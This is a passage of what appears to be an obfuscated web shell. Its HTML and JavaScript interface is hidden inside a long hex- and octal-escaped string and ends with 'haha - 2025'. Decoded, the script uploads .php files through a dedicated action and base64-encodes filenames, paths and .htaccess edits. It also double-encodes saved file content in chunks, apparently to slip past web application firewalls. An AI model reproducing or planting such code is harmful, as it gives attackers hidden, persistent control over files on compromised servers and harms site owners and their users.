69\x73\123\145\156\x73\x69\x74\x69\166\145\51\x20\173\xa\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\141\x63\164\x69\157\x6e\x20\75\40\x27\144\x65\154\x65\164\x65\137\x62\66\64\47\x3b\12\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x73\145\x6c\145\x63\x74\145\144\56\146\157\162\105\141\x63\x68\50\x69\164\145\155\x20\x3d\76\40\x66\x64\56\141\x70\x70\145\x6e\144\x28\x27\x69\x74\x65\155\x73\x5f\142\x36\x34\x5b\x5d\x27\54\x20\x62\164\x6f\141\x28\151\164\145\x6d\x29\51\x29\x3b\xa\x20\x20\x20\40\40\40\40\x20\40\40\40\40\40\x20\x20\x20\175\40\145\154\163\145\40\x7b\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\x73\x65\154\145\143\x74\145\x64\x2e\x66\x6f\x72\x45\141\143\x68\50\x69\x74\x65\155\x20\x3d\x3e\40\146\x64\x2e\x61\x70\x70\x65\x6e\x64\x28\47\151\164\145\x6d\163\133\x5d\47\x2c\x20\151\x74\145\x6d\x29\x29\73\12\x20\40\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\x7d\12\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\40\x20\x61\160\x69\x43\x61\x6c\x6c\x28\141\143\x74\151\157\156\54\40\146\144\51\56\164\150\x65\156\x28\162\145\x6e\144\x65\162\51\73\xa\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\175\12\40\x20\40\40\x20\x20\x20\40\x7d\51\73\xa\x20\40\x20\40\x20\x20\x20\40\12\40\x20\40\x20\x20\40\x20\x20\144\157\155\56\x75\x70\x6c\x6f\141\144\x42\x74\156\56\x61\x64\x64\x45\166\x65\156\164\114\151\x73\x74\145\x6e\x65\x72\50\x27\x63\x6c\151\143\x6b\47\54\x20\50\x29\x20\x3d\76\40\x64\157\155\x2e\150\151\144\144\145\156\106\151\x6c\x65\111\x6e\x70\x75\x74\x2e\143\x6c\151\x63\153\50\x29\51\73\12\x20\40\40\x20\40\40\40\x20\144\157\155\56\x68\151\x64\x64\x65\x6e\106\151\154\145\111\x6e\160\x75\x74\x2e\x61\x64\144\x45\x76\145\156\x74\x4c\x69\x73\x74\x65\156\x65\162\50\47\143\x68\x61\x6e\x67\x65\47\54\40\x61\x73\x79\x6e\x63\40\50\145\x29\x20\75\x3e\x20\x7b\xa\40\x20\40\40\40\40\40\40\x20\40\40\40\143\x6f\156\163\164\x20\146\x69\x6c\x65\x73\40\x3d\x20\101\x72\x72\x61\171\56\x66\x72\x6f\x6d\x28\145\x2e\x74\141\162\x67\145\x74\x2e\x66\151\154\x65\163\x29\x3b\40\x69\x66\40\x28\146\151\154\x65\163\x2e\154\145\156\147\x74\150\x20\75\75\x3d\40\x30\51\40\x72\145\x74\165\x72\156\x3b\12\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\146\157\162\x20\50\143\x6f\156\163\x74\40\146\151\154\x65\x20\157\146\40\146\151\154\x65\163\x29\40\x7b\12\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x69\146\x20\50\x66\151\x6c\145\56\163\x69\x7a\x65\40\76\40\x55\120\114\117\x41\x44\137\114\x49\x4d\x49\x54\137\x4d\x42\x20\x2a\40\x31\60\x32\64\x20\x2a\x20\61\60\62\x34\x29\x20\173\x20\141\x6c\x65\x72\x74\x28\140\x45\x72\162\157\x72\72\40\106\151\154\x65\x20\x22\44\x7b\146\x69\154\x65\x2e\156\x61\x6d\x65\175\x22\x20\151\163\x20\164\x6f\157\40\154\141\162\147\x65\40\50\x4d\141\170\72\x20\x24\173\125\120\x4c\x4f\101\x44\137\114\x49\x4d\x49\124\x5f\115\102\x7d\x20\115\102\51\56\x60\x29\73\40\x63\157\x6e\164\151\156\x75\145\73\40\175\12\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\143\x6f\156\x73\164\40\x72\145\x61\144\x65\x72\x20\x3d\40\x6e\x65\x77\x20\106\151\154\145\x52\x65\x61\144\145\162\50\51\73\12\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\x63\x6f\x6e\x73\x74\40\x66\x69\x6c\x65\x52\145\141\x64\x50\162\x6f\x6d\x69\163\145\x20\x3d\40\156\145\x77\x20\x50\x72\x6f\155\x69\163\x65\x28\50\x72\145\x73\157\154\166\x65\x2c\x20\162\x65\152\145\x63\164\x29\40\75\x3e\40\x7b\x20\x72\145\141\144\145\x72\x2e\157\x6e\154\x6f\x61\144\40\x3d\x20\145\x76\x65\x6e\x74\x20\x3d\x3e\x20\x72\145\x73\x6f\154\x76\x65\x28\145\166\x65\x6e\x74\x2e\164\141\x72\x67\145\164\56\x72\145\163\165\154\x74\51\73\x20\x72\145\x61\144\x65\162\56\x6f\x6e\145\162\x72\x6f\162\40\75\40\145\162\162\x6f\x72\x20\x3d\x3e\x20\162\x65\x6a\145\143\x74\50\x65\x72\x72\157\x72\x29\73\40\x72\145\x61\x64\x65\x72\56\x72\145\141\144\101\x73\104\x61\164\x61\x55\x52\x4c\x28\x66\x69\154\x65\51\73\x20\175\51\73\xa\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\164\162\x79\40\173\12\x20\40\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\x63\157\156\163\x74\x20\143\x6f\x6e\164\145\156\x74\x5f\x62\x61\163\145\66\64\x20\75\x20\x61\x77\141\x69\x74\x20\x66\151\154\x65\x52\145\x61\144\120\x72\x6f\155\x69\x73\x65\73\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\143\x6f\x6e\163\x74\40\157\162\151\x67\151\x6e\x61\x6c\x4e\141\x6d\x65\40\75\40\146\151\154\x65\x2e\x6e\x61\x6d\145\73\xa\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x63\x6f\x6e\x73\164\40\146\x64\x20\x3d\40\x6e\x65\167\x20\106\157\162\x6d\104\x61\164\x61\50\x29\x3b\12\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\146\144\56\x61\160\160\145\x6e\144\50\x27\x70\141\x74\x68\47\x2c\40\123\124\101\124\x45\56\x63\x75\162\162\x65\x6e\x74\x50\x61\x74\x68\51\x3b\12\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x66\144\56\141\x70\x70\x65\156\x64\50\47\143\157\x6e\x74\145\x6e\x74\x5f\x62\x61\x73\x65\66\x34\47\x2c\x20\x63\x6f\x6e\164\145\156\x74\x5f\x62\141\163\145\x36\64\51\x3b\xa\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\151\x66\x20\50\157\x72\x69\147\x69\x6e\x61\x6c\x4e\x61\155\145\x2e\164\157\x4c\x6f\x77\x65\162\103\141\163\x65\x28\51\x2e\x65\x6e\x64\163\x57\151\x74\x68\50\x27\x2e\x70\x68\160\x27\x29\x29\x20\x7b\xa\40\40\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x66\x64\56\141\x70\x70\145\x6e\x64\50\x27\146\151\154\145\x6e\141\155\x65\x5f\x62\141\x73\x65\x36\x34\x27\54\x20\142\x74\x6f\141\x28\157\162\151\147\x69\156\141\154\116\141\x6d\x65\x29\51\73\12\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\141\x77\x61\x69\x74\40\141\x70\x69\103\141\154\x6c\x28\x27\165\x70\154\x6f\x61\x64\137\x70\150\160\x27\x2c\40\x66\x64\54\40\164\x72\x75\145\51\x3b\xa\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\175\40\145\154\163\x65\x20\x7b\xa\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\146\144\56\x61\x70\x70\145\x6e\144\50\x27\x66\x69\x6c\145\156\141\155\x65\x5f\x62\x61\x73\x65\66\64\47\54\x20\x62\x74\x6f\x61\50\x6f\x72\151\x67\151\x6e\x61\154\x4e\141\x6d\145\51\51\x3b\xa\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x61\167\x61\151\x74\x20\141\x70\151\103\x61\154\x6c\x28\x27\165\160\154\157\x61\x64\x27\x2c\40\x66\x64\54\x20\164\162\165\x65\x29\x3b\xa\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\175\12\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x7d\x20\143\141\x74\143\150\x20\50\x65\162\162\157\x72\51\x20\173\xa\40\40\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\141\x6c\145\x72\164\x28\x60\106\141\151\x6c\145\x64\40\164\x6f\40\160\162\157\x63\145\x73\163\40\146\151\154\145\x20\x24\x7b\146\x69\154\145\x2e\156\x61\x6d\145\x7d\72\x20\44\x7b\x65\162\x72\157\162\56\x6d\145\163\x73\141\147\x65\175\140\51\x3b\xa\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\175\12\40\40\40\x20\x20\40\40\40\40\40\40\40\175\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x65\x2e\x74\141\162\x67\x65\164\56\166\x61\154\x75\x65\x20\x3d\40\47\47\x3b\12\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\162\145\156\x64\145\x72\x28\51\x3b\12\x20\40\40\40\x20\x20\40\x20\175\51\73\xa\xa\x20\40\x20\x20\40\40\40\x20\x64\157\155\x2e\x73\141\x76\x65\x42\164\x6e\56\x61\144\x64\105\166\x65\156\164\x4c\x69\x73\x74\145\x6e\x65\162\x28\x27\143\154\151\x63\x6b\47\54\40\x28\51\40\x3d\x3e\x20\173\xa\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\x63\157\156\x73\x74\40\x70\141\x74\x68\x20\75\x20\x64\x6f\155\56\x65\144\x69\x74\x6f\x72\x46\151\x6c\145\156\141\155\145\56\164\145\170\164\103\157\156\x74\145\156\x74\73\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\143\x6f\156\163\164\40\143\157\x6e\x74\145\156\164\x20\75\40\142\164\x6f\141\50\142\164\x6f\141\50\x64\157\x6d\56\x65\x64\151\164\x6f\162\x2e\166\141\154\165\x65\x29\51\x3b\xa\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\143\x6f\x6e\163\164\40\x66\x64\x20\x3d\x20\x6e\x65\167\x20\106\157\x72\155\x44\141\x74\141\50\51\x3b\12\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x63\x6f\x6e\163\164\x20\x63\150\165\156\153\x53\x69\172\145\40\75\40\x34\60\x39\66\x3b\12\40\40\x20\x20\40\40\40\40\40\40\x20\40\x66\x6f\162\x20\50\x6c\x65\x74\x20\151\x20\x3d\x20\60\73\40\151\x20\74\40\x63\x6f\156\x74\145\156\164\x2e\x6c\145\156\x67\164\150\x3b\40\x69\40\53\75\x20\143\150\165\156\x6b\x53\151\x7a\x65\x29\40\x7b\xa\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\146\144\56\x61\x70\x70\x65\x6e\x64\50\47\143\157\156\164\145\156\164\137\143\x68\165\156\153\x73\x5b\x5d\47\x2c\40\143\157\x6e\164\145\156\164\x2e\x73\x75\x62\163\164\162\x69\x6e\x67\x28\151\54\x20\151\40\53\x20\x63\x68\165\x6e\x6b\x53\x69\172\145\x29\x29\x3b\xa\x20\40\40\40\40\40\x20\40\x20\x20\40\40\175\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\40\154\145\x74\40\141\143\x74\x69\x6f\156\x20\x3d\x20\x27\163\x61\166\145\137\143\157\x6e\x74\145\156\164\x27\73\xa\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x69\x66\40\x28\160\x61\x74\x68\x2e\151\156\143\154\x75\x64\x65\163\50\x27\x2e\150\164\141\143\x63\x65\x73\x73\x27\x29\51\x20\173\xa\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x61\x63\164\x69\157\x6e\40\75\40\47\x73\x61\166\x65\x5f\143\x6f\156\164\145\x6e\164\x5f\142\x36\64\x27\73\12\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x66\144\x2e\x61\x70\160\x65\156\x64\x28\47\x70\141\164\150\137\142\x36\64\47\54\40\142\x74\157\141\x28\x70\x61\164\150\x29\51\x3b\xa\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\175\40\x65\x6c\x73\145\x20\173\12\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x66\144\x2e\141\160\x70\145\156\x64\50\47\x70\141\x74\x68\x27\54\40\x70\x61\164\150\x29\73\12\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\141\x70\x69\103\141\x6c\154\50\141\x63\164\x69\x6f\156\54\x20\146\x64\x2c\40\x74\162\x75\145\51\x2e\x74\150\x65\x6e\x28\x72\x65\163\165\154\164\x20\x3d\76\40\x7b\12\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\40\151\x66\x28\162\145\163\x75\x6c\164\x29\x20\x7b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x64\x6f\155\x2e\x65\144\151\x74\157\x72\115\157\144\x61\154\56\x73\164\171\x6c\145\x2e\x64\151\x73\160\154\x61\x79\x20\x3d\40\x27\156\x6f\x6e\145\x27\x3b\xa\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x72\145\156\x64\145\x72\x28\51\73\xa\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x7d\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x7d\51\73\xa\x20\40\40\x20\x20\x20\40\40\175\51\x3b\12\xa\40\40\x20\x20\x20\x20\x20\x20\x72\x65\x6e\x64\145\162\x28\51\x3b\12\40\40\40\x20\x7d\51\x3b\xa\x20\x20\40\x20\x3c\x2f\x73\x63\x72\151\160\164\x3e\12\x3c\57\142\x6f\144\171\x3e\xa\74\x2f\x68\x74\155\x6c\76";

haha - 2025